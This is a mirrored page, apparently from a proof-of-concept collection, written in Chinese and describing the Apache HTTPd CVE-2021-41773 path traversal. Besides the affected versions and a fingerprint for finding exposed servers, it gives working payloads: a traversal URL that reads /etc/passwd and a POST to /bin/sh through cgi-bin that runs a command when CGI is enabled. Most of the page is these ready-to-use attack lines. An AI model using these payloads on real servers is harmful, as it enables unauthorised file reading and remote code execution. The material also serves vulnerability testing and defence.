mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-07 11:58:05 +00:00
39 lines
673 B
Markdown
39 lines
673 B
Markdown
|
# Apache HTTPd 路径穿越漏洞 CVE-2021-41773
|
|||
|
|
|
|||
|
|
## 漏洞描述
|
|||
|
|
|
|||
|
|
Apache HTTPD是一款HTTP服务器，它可以通过mod_php来运行PHP网页。其2.4.49~2.4.50-本中存在一个漏洞，可读取服务器中的任意文件
|
|||
|
|
|
|||
|
|
## 漏洞影响
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
Apache HTTPd 2.4.49~2.4.50版本
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## 网络测绘
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
server="Apache/2.4.49"
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## 漏洞复现
|
|||
|
|
|
|||
|
|
Chorme插件Wappalyzer获取 Apache版本
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
验证POC
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
开启CGI的情况下可RCE
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh
|
|||
|
|
|
|||
|
|
B=|id>/tmp/id_txt
|
|||
|
|
```
|